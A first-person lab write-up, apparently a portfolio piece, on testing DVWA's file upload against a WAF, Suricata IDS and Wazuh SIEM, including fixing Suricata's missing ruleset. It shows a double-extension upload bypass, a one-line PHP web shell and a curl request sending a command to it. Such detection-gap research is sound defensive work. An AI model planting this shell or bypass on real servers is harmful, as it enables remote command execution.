

File Upload Exploitation:

File Upload Exploitation & Detection Engine Remediation

I tested DVWA's File Upload module against the WAF, IDS, and SIEM stack, uncovering a double-extension bypass that evaded all three detection layers, and independently verified the underlying vulnerability was not exploitable due to hardened Apache configuration.

1. Overview

This engagement covered two connected pieces of work I did against the DVWA File Upload module (Low security): (1) diagnosing and fixing a major detection engine gap in Suricata that I discovered while investigating this scenario, and (2) exploiting and analyzing a real Web Application Firewall (WAF) bypass using a double extension upload technique. The result is a full before and after picture of detection coverage across three independent security layers, the WAF, the network IDS, and the SIEM, against a single realistic attack path.

The most valuable finding was methodological rather than purely technical: after I fixed Suricata's ruleset and confirmed it was genuinely alerting on other traffic, the same bypass attempt still produced zero detections across all three layers. Rather than stopping there, I carried the exploitation through to determine whether the underlying vulnerability was actually usable, which it was not, due to a correctly configured Apache handler. This distinguishes a genuine detection gap from an unexploitable finding, a distinction that matters directly to SOC triage and severity scoring.

2. Architecture

Lab components involved in this engagement:

Node	Role	Relevant Config
ManKali-attacker	Attacker VM (Kali Linux)	10.0.2.15, source of upload requests and verification curl requests
ubuntu-victim	Target VM (Ubuntu 24.04)	10.0.2.3, runs DVWA (Docker, port 8080), ModSecurity WAF (port 8081), Suricata 8.0.3, Wazuh agent
wazuh-manager	SIEM (DigitalOcean droplet)	204.48.20.38, Wazuh all in one stack; receives forwarded alerts from ubuntu-victim's agent

Detection stack in front of the target application, in order of the traffic path:

- ModSecurity WAF (OWASP CRS, PARANOIA=1), reverse proxies DVWA, inspects and can block requests
- Suricata network IDS, packet level inspection on interface enp0s3, signature based
- Wazuh agent, forwards ModSecurity and system logs to the SIEM for correlation and alerting

3. Part A: Root Cause Finding: Suricata Had No Real Ruleset

While I was investigating why Suricata produced zero alerts across every Tier 1 scenario tested that day (command injection, stored XSS, and this file upload test), a deeper check revealed the actual cause was not a detection failure but a deployment gap:

```
$ sudo suricata-update list-enabled-sources
No enabled sources
```

I inspected `/etc/suricata/rules/` and confirmed only built in protocol anomaly files were present (http-events, dns-events, tls-events, decoder-events, etc.), these detect malformed protocol behavior, not attack payloads. No Emerging Threats ruleset, and no attack signature files of any kind, had ever been installed on this VM. This also offered a plausible retroactive explanation for an earlier unresolved finding from Part 2 (Suricata signature sid:2006446 never firing on a SQL injection payload despite the payload being visible in the captured HTTP log), likely a stale reference to a rule that was never part of an active, maintained ruleset.

Remediation

I enabled and installed Emerging Threats Open:

```
$ sudo suricata-update enable-source et/open
$ sudo suricata-update
```

Result: 68,692 total rules loaded, 52,710 enabled after category filtering and flowbit dependency resolution. A config test (suricata -T) passed cleanly, and I confirmed `suricata.yaml` referenced the new `suricata.rules` file under `rule-files:`. I then restarted the service:

```
$ sudo systemctl restart suricata
```

The restart took approximately 8.5 minutes to fully initialize (18:34:30 → 18:43:08), a substantial increase over the ~90 second starts seen with the old protocol only ruleset, and settled at 465.7MB memory usage versus roughly 90MB before. Both changes are expected consequences of loading a full signature set on a 2 vCPU / 2.6GB VM, and are now the new operating baseline for this service.

I verified the fix worked as intended: `eve.json` began showing genuine content based alerts against real traffic (for example, signature 2013504, an ET INFO rule for outbound APT package management traffic, and signature 2221036, a generic protocol anomaly on HTTP response headers), a clear behavioral change from total silence to active, working detection.

4. Part B: File Upload WAF Bypass

4.1 Baseline: blocked payload

I directly uploaded `shell.php` through DVWA's File Upload module (Low security), and it was blocked by the ModSecurity WAF with a 403 response, consistent with prior scenario results (command injection, stored XSS) where extension and content based rules correctly rejected obvious attack payloads.

4.2 Bypass: double extension

I renamed the same payload `shell.php.jpg` and re uploaded it. This request passed through the WAF's filtering and was written to disk on the target:

```
Uploaded to: ../../hackable/uploads/shell.php.jpg
```

4.3 Detection check across all three layers

Layer	Result	Notes
ModSecurity WAF	Missed (bypassed)	Extension based filtering did not account for double extensions
Suricata (post fix, ET Open active)	Missed, zero alerts	Confirmed via targeted <code>eve.json</code> grep across the exact upload time window; ruleset independently verified as functional minutes earlier
Wazuh SIEM	Missed, zero alerts	Consistent with the Part 5 finding that Wazuh's web attack detection is entirely dependent on

Layer	Result	Notes
		ModSecurity forwarding an alert; no independent secondary layer exists

This is a genuine signature coverage gap rather than a configuration failure. Emerging Threats Open's ruleset is built primarily around known exploit signatures, malware/C2 traffic patterns, and protocol anomalies. A file upload using a benign looking multipart HTTP request with a disguised filename does not resemble any of those categories at the wire level, there is nothing in the request itself that looks malicious until the uploaded file is later interpreted or executed.

4.4 Exploitation check: was the bypass actually exploitable?

Rather than treating the successful upload as a confirmed compromise, I tested the shell directly:

```
$ curl "http://10.0.2.3:8081/hackable/uploads/shell.php.jpg?cmd=whoami"
<?php system($_GET["cmd"]); ?>
```

The server returned the raw PHP source code as plain text rather than executing it. I inspected the Apache PHP handler configuration, which explained why:

```
<FilesMatch "\.ph(?:ar|p|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
```

The handler regex is anchored to the end of the filename (\$) and only matches files ending in .phar, .php, or .phtml. Because shell.php.jpg ends in .jpg, Apache never invoked the PHP interpreter and instead served the file as static content. This is a correctly hardened configuration that specifically defeats the classic double extension technique.

5. Findings Summary

- Suricata was not functioning as an attack detection tool for the entire duration of Tier 1 testing due to a missing ruleset, this was root caused and permanently fixed with Emerging Threats Open (68,692 rules, 52,710 enabled).
- Even after the fix was verified working against real traffic, the file upload double extension bypass evaded all three detection layers (WAF, Suricata, Wazuh), confirming a genuine signature coverage gap rather than a leftover config issue.
- The bypass succeeded in placing a malicious file on the server but did not achieve code execution, because Apache's FilesMatch handler correctly rejects filenames that do not end in a recognized PHP extension.
- Net result: a real control bypass finding worth remediating (upload filtering should validate true content type or use a denylist/allowlist independent of filename), paired with a correctly scoped severity assessment, the bypass is real, but this specific technique does not currently yield remote code execution on this stack.

6. MITRE ATT&CK Mapping

Tactic	Technique	Relevance
Initial Access	T1190, Exploit Public Facing Application	Upload endpoint targeted to place a file outside intended type restrictions
Defense Evasion	T1027, Obfuscated Files or Information	Double extension filename used to evade extension based filtering
Execution	T1505.003, Web Shell (attempted)	Attempted deployment of a PHP web shell; execution was prevented by server configuration

7. Skills Demonstrated

- Root cause diagnosis of a silent detection tool failure across multiple prior test cycles, rather than accepting “no alerts” as “no attack”
- Safe, verified remediation of a production style IDS ruleset update, including config testing, service restart risk assessment, and post fix validation against live traffic
- WAF bypass technique execution (double extension) and structured, layer by layer detection analysis (WAF / IDS / SIEM)
- Exploitation verification discipline, confirming actual code execution rather than stopping at “file uploaded successfully,” and correctly downgrading severity when execution failed
- Web server configuration analysis (Apache FilesMatch handler regex) to explain observed behavior at the root cause level